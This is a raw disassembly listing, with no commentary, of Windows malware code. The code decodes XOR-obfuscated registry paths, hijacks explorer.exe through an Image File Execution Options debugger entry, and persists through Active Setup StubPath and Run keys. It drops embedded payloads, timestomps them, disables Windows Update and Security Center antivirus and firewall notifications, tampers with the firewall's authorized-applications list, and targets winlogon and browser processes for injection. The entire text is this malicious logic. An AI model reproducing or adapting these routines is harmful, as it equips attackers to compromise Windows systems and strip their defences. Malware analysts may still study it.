call sub.KERNEL32.dll_ReadFile
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x404c1e
mov dword [esp + 0x2c], 0
mov dword [esp + 0x38], 0
sub esp, 8
lea eax, [esp + 0xb64]
push eax
push 0
lea eax, [esp + 0x1398]
push eax
push 0x401379
push 0x1000
push 0
call sub.KERNEL32.dll_CreateThread
sub esp, 4
push eax
call sub.KERNEL32.dll_CloseHandle
mov eax, 0
add esp, 0xc
xor byte [eax + str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe], 0xd4
inc eax
cmp eax, 0x56
jne 0x404c55
mov al, 0
xor byte [eax + 0x40f580], 0x57
inc eax
cmp eax, 0xc00
jne 0x404c64
cmp dword [0x4120e0], 2
jne 0x404f4c
sub esp, 4
lea eax, [esp + 0xb6c]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 4
test eax, eax
jne 0x404f4c
sub esp, 8
push 0x104
lea ebx, [esp + 0x1088]
push ebx
call sub.KERNEL32.dll_GetSystemDirectoryA
mov esi, dword [0x412080]
push 0x411030
push ebx
call sub.KERNEL32.dll_lstrcatA
push esi
push eax
call sub.KERNEL32.dll_lstrcatA
mov eax, 0
add esp, 8
xor byte [eax + str.9703941E_446E_952F_954A_3DA8A91ED84F], 0xd4
inc eax
cmp eax, 0x26
jne 0x404cda
sub esp, 4
push str.9703941E_446E_952F_954A_3DA8A91ED84F
push 0
push 0
call sub.KERNEL32.dll_CreateMutexA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x404d28
sub esp, 8
push 0x2710
push eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 4
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x404d38
sub esp, 0xc
push 0x7d0
call sub.KERNEL32.dll_Sleep
add esp, 0xc
sub esp, 8
push pe_nt_image_headers32
lea ebx, [esp + 0x1088]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov edx, eax
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x404f30
cmp eax, 0xffffffff
je 0x404f30
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0xc00
push 0x40f580
push edx
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
call fcn.0040140f
test eax, eax
jne 0x404db5
mov byte [esp + 0x2b], 0x66
jmp 0x404db9
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x38]
add eax, 0x9b
mov dword [esp + 4], eax
call fcn.0040162c
mov ebp, eax
mov edx, dword [esp + 0x38]
lea esi, [eax + edx]
mov byte [esi], 0
mov ecx, eax
cmp esi, eax
jbe 0x404def
mov edx, dword [esp + 0x2c]
mov al, byte [esp + 0x2b]
xor al, byte [edx]
mov byte [ecx], al
inc ecx
inc edx
cmp ecx, esi
jne 0x404de1
lea ecx, [esi + 5]
mov dword [esp + 8], ecx
sub esp, 0xc
lea eax, [esp + 0x1394]
push eax
call sub.KERNEL32.dll_lstrlenA
mov ebx, dword [esp + 0x14]
add ebx, eax
lea edi, [esi + 0x9b]
add esp, 0xc
cmp edi, ebx
jbe 0x404e25
call fcn.0040140f
mov byte [ebx], al
inc ebx
cmp edi, ebx
ja 0x404e19
mov eax, dword [esp + 0x38]
mov dword [esi + 1], eax
sub esp, 8
lea eax, [esp + 0x1390]
push eax
push dword [esp + 0x14]
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
cmp edi, esi
jbe 0x404e5b
mov eax, 0
mov dl, byte [esp + 0x2b]
xor byte [eax + esi], dl
inc eax
cmp eax, 0x9b
jne 0x404e4c
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push dword [esp + 0x18]
push ebp
push dword [esp + 0xb88]
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
mov eax, ebp
call fcn.0040167e
cmp dword [esp + 0x34], 0
je 0x404eae
lea eax, [esp + 0x9ac]
push eax
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x9c4]
push eax
push dword [esp + 0xb78]
call sub.KERNEL32.dll_SetFileTime
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
sub esp, 8
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ebx, [esp + 0x10a8]
push ebx
call sub.KERNEL32.dll_CreateFileA
add esp, 0xc
push str.Debugger
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push str.Debugger
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x2c], 1
add esp, 0x18
jmp 0x404f38
mov dword [esp + 0x14], 0
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x404f54
mov dword [esp + 0x14], 0
mov dword [esp + 0x3d8], 0x10
sub esp, 8
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0x3b0]
push eax
call sub.KERNEL32.dll_GetComputerNameA
add esp, 8
test eax, eax
je 0x404f88
cmp byte [esp + 0x3a4], 0
jne 0x404fa2
sub esp, 8
push str.QlC5hT0yHn63XEm5LqJ2OxSkGj2v
lea eax, [esp + 0x288]
push eax
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
jmp 0x404feb
sub esp, 8
lea eax, [esp + 0x3ac]
push eax
lea eax, [esp + 0x288]
push eax
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
lea ebx, [esp + 0x27c]
lea esi, [esp + 0x3a4]
jmp 0x404fda
sub esp, 8
push esi
push ebx
call sub.KERNEL32.dll_lstrcatA
add esp, 8
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_lstrlenA
add esp, 0xc
cmp eax, 0xf
jle 0x404fcd
sub esp, 8
movsx eax, byte [esp + 0x293]
push eax
movsx eax, byte [esp + 0x296]
push eax
movsx eax, byte [esp + 0x299]
push eax
movsx eax, byte [esp + 0x29c]
push eax
movsx eax, byte [esp + 0x29f]
push eax
movsx eax, byte [esp + 0x2a2]
push eax
movsx eax, byte [esp + 0x2a5]
push eax
movsx eax, byte [esp + 0x2a8]
push eax
movsx eax, byte [esp + 0x2ab]
push eax
movsx eax, byte [esp + 0x2ae]
push eax
movsx eax, byte [esp + 0x2b1]
push eax
movsx eax, byte [esp + 0x2b4]
push eax
movsx eax, byte [esp + 0x2b7]
push eax
movsx eax, byte [esp + 0x2ba]
push eax
movsx eax, byte [esp + 0x2bd]
push eax
movsx eax, byte [esp + 0x2c0]
push eax
push str._02X_02X_02X_02X__02x_02x__02x_02x__02X_02X__02X_02X_02X_02X_02x_02x
push 0x412290
call sub.USER32.dll_wsprintfA
mov eax, 0
add esp, 0x50
xor byte [eax + str.SOFTWAREMicrosoftActive_SetupInstalled_Components_], 0xd4
inc eax
cmp eax, 0x35
jne 0x405095
mov al, 0
xor byte [eax + 0x410200], 0x57
inc eax
cmp eax, 0x800
jne 0x4050a4
sub esp, 8
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
lea ebx, [esp + 0xe88]
push ebx
call sub.KERNEL32.dll_lstrcpyA
push 0x412290
push eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 0xc
lea eax, [esp + 0xb7c]
push eax
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 0x14
test eax, eax
je 0x4050fd
mov dword [esp + 0x18], 0
jmp 0x4053cf
sub esp, 8
push 0x104
lea ebx, [esp + 0xd84]
push ebx
call sub.KERNEL32.dll_GetSystemDirectoryA
mov esi, dword [0x412070]
push 0x411030
push ebx
call sub.KERNEL32.dll_lstrcatA
push esi
push eax
call sub.KERNEL32.dll_lstrcatA
mov eax, 0
add esp, 8
xor byte [eax + str.10F5781A_0D97_0F99_EF77_BA382916E579], 0xd4
inc eax
cmp eax, 0x26
jne 0x405132
sub esp, 4
push str.10F5781A_0D97_0F99_EF77_BA382916E579
push 0
push 0
call sub.KERNEL32.dll_CreateMutexA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x405180
sub esp, 8
push 0x2710
push eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 4
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x405190
sub esp, 0xc
push 0x7d0
call sub.KERNEL32.dll_Sleep
add esp, 0xc
sub esp, 8
push pe_nt_image_headers32
lea ebx, [esp + 0xd84]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov edx, eax
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x4053a0
cmp eax, 0xffffffff
je 0x4053a0
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0x800
push 0x410200
push edx
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
call fcn.0040140f
test eax, eax
jne 0x40520d
mov byte [esp + 0x4b], 0xc6
jmp 0x405211
mov byte [esp + 0x4b], al
mov ecx, dword [esp + 0x38]
add ecx, 0x7b
mov dword [esp + 0xc], ecx
mov eax, ecx
call fcn.0040162c
mov ebp, eax
mov eax, dword [esp + 0x38]
lea esi, [ebp + eax]
mov byte [esi], 0
mov ecx, ebp
cmp esi, ebp
jbe 0x405248
mov edx, dword [esp + 0x2c]
mov al, byte [esp + 0x4b]
xor al, byte [edx]
mov byte [ecx], al
inc ecx
inc edx
cmp ecx, esi
jne 0x40523a
lea edx, [esi + 5]
mov dword [esp + 0x44], edx
sub esp, 0xc
lea eax, [esp + 0x1394]
push eax
call sub.KERNEL32.dll_lstrlenA
mov ebx, dword [esp + 0x50]
add ebx, eax
lea edi, [esi + 0x7b]
add esp, 0xc
cmp edi, ebx
jbe 0x40527b
call fcn.0040140f
mov byte [ebx], al
inc ebx
cmp edi, ebx
ja 0x40526f
mov ecx, dword [esp + 0x38]
mov dword [esi + 1], ecx
sub esp, 8
lea eax, [esp + 0x1390]
push eax
push dword [esp + 0x50]
call sub.KERNEL32.dll_lstrcpyA
mov byte [esi], 0xa4
add esp, 8
cmp edi, esi
jbe 0x4052b2
mov eax, 0
mov dl, byte [esp + 0x4b]
xor byte [eax + esi], dl
inc eax
cmp eax, 0x7b
jne 0x4052a5
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push dword [esp + 0x20]
push ebp
push dword [esp + 0xb88]
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
mov eax, ebp
call fcn.0040167e
cmp dword [esp + 0x34], 0
je 0x405305
lea eax, [esp + 0x9ac]
push eax
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x9c4]
push eax
push dword [esp + 0xb78]
call sub.KERNEL32.dll_SetFileTime
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
sub esp, 8
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ebx, [esp + 0xda4]
push ebx
call sub.KERNEL32.dll_CreateFileA
add esp, 0x14
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
mov dword [esp + 0xb5c], 1
lea eax, [esp + 0xb5c]
sub esp, 8
push 4
push eax
push 4
push 0
push str.IsInstalled
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push str.StubPath
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x30], 1
add esp, 0x18
jmp 0x4053a8
mov dword [esp + 0x18], 0
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 0xc
lea eax, [esp + 0xe94]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegDeleteKeyA
add esp, 0x18
lea eax, [esp + 0x606]
call fcn.00401439
mov dword [esp + 0xb68], eax
test eax, eax
je 0x40558b
sub esp, 8
push str.ShellRegEx
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
sub esp, 4
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
lea ecx, [esp + 0x613]
lea ebx, [esp + 0x83c]
add esp, 0xc
cmp ecx, ebx
jae 0x405434
lea edx, [esp + 0x3dd]
mov al, byte [ecx]
xor al, byte [esp + 0x606]
mov byte [edx], al
inc ecx
inc edx
cmp ecx, ebx
jb 0x405423
sub esp, 8
push dword [0x412090]
lea eax, [esp + 0x3ea]
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
jne 0x405470
sub esp, 8
lea eax, [esp + 0x1390]
push eax
lea eax, [esp + 0x50e]
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
je 0x405496
sub esp, 8
push pe_nt_image_headers32
lea ebx, [esp + 0x40a]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push ebx
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
jmp 0x40558b
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x41a]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x405470
cmp eax, 0xffffffff
je 0x405470
sub esp, 8
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov dword [esp + 0xb60], eax
add esp, 8
cmp dword [esp + 0x38], eax
je 0x4054fa
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x405470
mov eax, dword [esp + 0x38]
call fcn.0040162c
mov ebx, eax
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push dword [esp + 0x4c]
push ebx
push dword [esp + 0xb88]
call sub.KERNEL32.dll_ReadFile
mov esi, ebx
mov edi, ebx
add edi, dword [esp + 0xb64]
add esp, 0xc
cmp edi, ebx
jbe 0x40557f
mov cl, byte [esp + 0x3dd]
mov byte [esp + 0x43], cl
movzx edx, byte [ebx]
mov eax, dword [esp + 0x2c]
cmp cl, byte [eax]
setne al
movzx eax, al
cmp edx, eax
je 0x405576
jmp 0x40556a
mov dl, byte [esp + 0x43]
cmp byte [ecx + 1], dl
setne al
movzx eax, al
inc ecx
movzx edx, byte [esi]
cmp edx, eax
je 0x40557a
mov eax, ebx
call fcn.0040167e
jmp 0x4054e3
mov ecx, dword [esp + 0x2c]
inc esi
cmp esi, edi
jne 0x405555
mov eax, ebx
call fcn.0040167e
jmp 0x405747
call fcn.0040140f
test eax, eax
jne 0x405596
mov al, 0x42
mov byte [esp + 0x606], al
call fcn.0040140f
test eax, eax
jne 0x4055a8
mov al, 0x4d
mov byte [esp + 0x3dd], al
sub esp, 8
push dword [0x412090]
lea eax, [esp + 0x3ea]
push eax
call sub.KERNEL32.dll_lstrcpyA
lea eax, [esp + 0x1390]
push eax
lea eax, [esp + 0x50e]
push eax
call sub.KERNEL32.dll_lstrcpyA
mov edx, dword [esp + 0x34]
mov ecx, edx
add ecx, dword [esp + 0x40]
add esp, 8
cmp dword [esp + 0x2c], ecx
jae 0x4055fb
mov al, byte [esp + 0x3dd]
xor byte [edx], al
inc edx
cmp edx, ecx
jne 0x4055ed
sub esp, 4
push 0x104
lea ebx, [esp + 0x128c]
push ebx
push str._AppData__
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
add esp, 4
test eax, eax
je 0x405663
lea esi, [esp + 0x3fe]
push esi
push 0
push 0x411012
push ebx
call sub.KERNEL32.dll_GetTempFileNameA
test eax, eax
je 0x405663
sub esp, 4
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x405663
cmp eax, 0xffffffff
jne 0x4056ce
sub esp, 8
lea ebx, [esp + 0x128c]
push ebx
push 0x104
call sub.KERNEL32.dll_GetTempPathA
add esp, 8
test eax, eax
je 0x405747
lea esi, [esp + 0x3fe]
push esi
push 0
push 0x411012
push ebx
call sub.KERNEL32.dll_GetTempFileNameA
test eax, eax
je 0x405747
sub esp, 4
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x405747
cmp eax, 0xffffffff
je 0x405747
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push dword [esp + 0x4c]
push dword [esp + 0x44]
push dword [esp + 0xb88]
call sub.KERNEL32.dll_WriteFile
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
sub esp, 8
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x42a]
push eax
call sub.KERNEL32.dll_CreateFileA
lea ecx, [esp + 0x61b]
lea ebx, [esp + 0x844]
add esp, 0x14
cmp ecx, ebx
jae 0x405747
lea edx, [esp + 0x3dd]
mov al, byte [esp + 0x606]
xor al, byte [edx]
mov byte [ecx], al
inc ecx
inc edx
cmp ecx, ebx
jb 0x405736
mov eax, dword [esp + 0x2c]
call fcn.0040167e
sub esp, 8
push 0x104
lea esi, [esp + 0xc80]
push esi
call sub.KERNEL32.dll_GetSystemDirectoryA
mov ebx, dword [0x4120a0]
push 0x411030
push esi
call sub.KERNEL32.dll_lstrcatA
push ebx
push eax
call sub.KERNEL32.dll_lstrcatA
push pe_nt_image_headers32
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x40586e
cmp eax, 0xffffffff
je 0x40586e
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0x1400
push 0x407c80
push dword [esp + 0xb88]
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
cmp dword [esp + 0x34], 0
je 0x40580f
lea eax, [esp + 0x9ac]
push eax
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x9c4]
push eax
push dword [esp + 0xb78]
call sub.KERNEL32.dll_SetFileTime
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
sub esp, 8
push 0
push str.winlogon.exe
lea ebx, [esp + 0xc90]
push ebx
call fcn.004019aa
add esp, 0x20
test eax, eax
jne 0x40584f
sub esp, 4
push 0
push str.explorer.exe
push ebx
call fcn.004019aa
add esp, 0x10
sub esp, 4
push 0
push str.kernel32.dll
lea eax, [esp + 0xc80]
push eax
call fcn.004019aa
add esp, 0x10
jmp 0x405981
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x20
jne 0x405897
sub esp, 4
push 0
push str.kernel32.dll
lea eax, [esp + 0xc80]
push eax
call fcn.004019aa
add esp, 0x10
jmp 0x405981
sub esp, 4
push 0x104
lea ebx, [esp + 0xc7c]
push ebx
push str._AppData__
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 4
push dword [0x4120a0]
push ebx
call sub.KERNEL32.dll_lstrcatA
push pe_nt_image_headers32
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x4058fd
cmp eax, 0xffffffff
jne 0x4057be
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x20
je 0x405878
sub esp, 8
lea ebx, [esp + 0xc7c]
push ebx
push 0x104
call sub.KERNEL32.dll_GetTempPathA
push dword [0x4120a0]
push ebx
call sub.KERNEL32.dll_lstrcatA
push pe_nt_image_headers32
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x405969
cmp eax, 0xffffffff
jne 0x4057be
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x20
je 0x405878
mov dword [esp + 0x1c], 0
jmp 0x4059ab
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0xc90]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0x20], 1
add esp, 4
sub esp, 4
push 0x104
lea ebx, [esp + 0xb78]
push ebx
push str._AppData__
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 4
push dword [0x4120b0]
push ebx
call sub.KERNEL32.dll_lstrcatA
push pe_nt_image_headers32
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov edx, eax
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x405a40
cmp eax, 0xffffffff
je 0x405a40
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0x6400
push 0x409080
push edx
call sub.KERNEL32.dll_WriteFile
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x405ad4
sub esp, 8
lea ebx, [esp + 0xb78]
push ebx
push 0x104
call sub.KERNEL32.dll_GetTempPathA
push dword [0x4120b0]
push ebx
call sub.KERNEL32.dll_lstrcatA
push pe_nt_image_headers32
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov edx, eax
mov dword [esp + 0xb80], eax
add esp, 0x14
test eax, eax
je 0x405aca
cmp eax, 0xffffffff
je 0x405aca
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0x6400
push 0x409080
push edx
call sub.KERNEL32.dll_WriteFile
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x405ad4
mov byte [esp + 0xb70], 0
jmp 0x405b00
cmp byte [esp + 0xb70], 0
je 0x405b00
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0xb8c]
push eax
call sub.KERNEL32.dll_CreateFileA
add esp, 4
mov eax, 0
xor byte [eax + str.SoftwareMicrosoftWindowsCurrentVersionRun], 0xd4
inc eax
cmp eax, 0x2d
jne 0x405b05
sub esp, 0xc
lea ebx, [esp + 0xb74]
push ebx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
je 0x405b5b
sub esp, 0xc
push ebx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x405baf
cmp dword [esp + 0x14], 0
jne 0x405b9d
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
sub esp, 0xc
lea ebx, [esp + 0x1394]
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push dword [0x412090]
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
cmp dword [0x4120e0], 2
jne 0x405e5c
mov eax, 0
xor byte [eax + str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU], 0xd4
inc eax
cmp eax, 0x34
jne 0x405bc1
mov al, 0
xor byte [eax + str.NoAutoUpdate], 0xd4
inc eax
cmp eax, 0xc
jne 0x405bd0
sub esp, 4
lea eax, [esp + 0xb6c]
push eax
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 4
test eax, eax
jne 0x405c32
lea eax, [esp + 0xb5c]
sub esp, 8
push 4
push eax
push 4
push 0
push str.NoAutoUpdate
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov eax, 0
xor byte [eax + str.SOFTWAREMicrosoftSecurity_Center], 0xd4
inc eax
cmp eax, 0x22
jne 0x405c37
mov al, 0
xor byte [eax + str.AntiVirusOverride], 0xd4
inc eax
cmp eax, 0x11
jne 0x405c46
mov al, 0
xor byte [eax + str.AntiVirusDisableNotify], 0xd4
inc eax
cmp eax, 0x16
jne 0x405c55
mov al, 0
xor byte [eax + str.FirewallDisableNotify], 0xd4
inc eax
cmp eax, 0x15
jne 0x405c64
mov al, 0
xor byte [eax + str.UpdatesDisableNotify], 0xd4
inc eax
cmp eax, 0x14
jne 0x405c73
sub esp, 0xc
lea eax, [esp + 0xb74]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x405d24
lea ebx, [esp + 0xb5c]
sub esp, 8
push 4
push ebx
push 4
push 0
push str.AntiVirusOverride
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push str.AntiVirusDisableNotify
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push str.FirewallDisableNotify
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push str.UpdatesDisableNotify
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov eax, 0
xor byte [eax + str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList], 0xd4
inc eax
cmp eax, 0x74
jne 0x405d29
sub esp, 0xc
lea eax, [esp + 0xb74]
push eax
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x405e5c
mov ax, 0x8000
call fcn.0040162c
mov esi, eax
mov dword [esp + 0xb58], 0x4000
mov dword [esp + 0xb5c], 0x4000
mov eax, 0
xor byte [eax + 0x410be0], 0xd4
inc eax
cmp eax, 0x24
jne 0x405d88
mov ebx, 0
lea edi, [esi + 0x4000]
lea ebp, [esp + 0xb58]
jmp 0x405ded
cmp dword [esp + 0xb54], 1
jne 0x405dd6
mov edx, 0x410bed
mov eax, edi
call fcn.00401013
test eax, eax
je 0x405dd6
sub esp, 8
push esi
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
inc ebx
mov dword [esp + 0xb58], 0x4000
mov dword [esp + 0xb5c], 0x4000
push ebp
push edi
lea eax, [esp + 0xb5c]
push eax
push 0
lea eax, [esp + 0xb6c]
push eax
push esi
push ebx
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x405da9
sub esp, 4
lea ebx, [esp + 0x138c]
push ebx
push 0x410be0
push esi
call sub.USER32.dll_wsprintfA
add esp, 8
inc eax
push eax
push esi
push 1
push 0
push ebx
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov eax, esi
call fcn.0040167e
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 8
lea eax, [esp + 0xb64]
push eax
push 0
push 2
push fcn.00402818
push 0x10000
push 0
call sub.KERNEL32.dll_CreateThread
sub esp, 4
push eax
call sub.KERNEL32.dll_CloseHandle
mov eax, 0
add esp, 0xc
xor byte [eax + str.sOfTwaRemIcRoSofTcOdE_SToRe_dAtAbAsEDistribution_Units79AABB1D_FADB_7161_3CCB_997899295A29], 0xd4
inc eax
cmp eax, 0x60
jne 0x405e8d
lea ebp, [esp + 0xd78]
mov edx, str.sOfTwaRemIcRoSofTcOdE_SToRe_dAtAbAsEDistribution_Units79AABB1D_FADB_7161_3CCB_997899295A29
mov eax, 0x80000002
call fcn.00401912
mov esi, 0
cmp byte [esp + 0xb70], 0
je 0x405eef
push 0
push str.opera.exe
push str.seamonkey.exe
push str.mozilla.exe
push str.firefox.exe
push str.iexplore.exe
push str.explorer.exe
lea ecx, [esp + 0xb8c]
push ecx
call fcn.004019aa
add esp, 0x20
cmp dword [esp + 0x18], 0
je 0x405f98
sub esp, 8
push 0x21
push ebp
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
lea eax, [esp + 0xb7c]
push eax
lea eax, [esp + 0xe94]
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
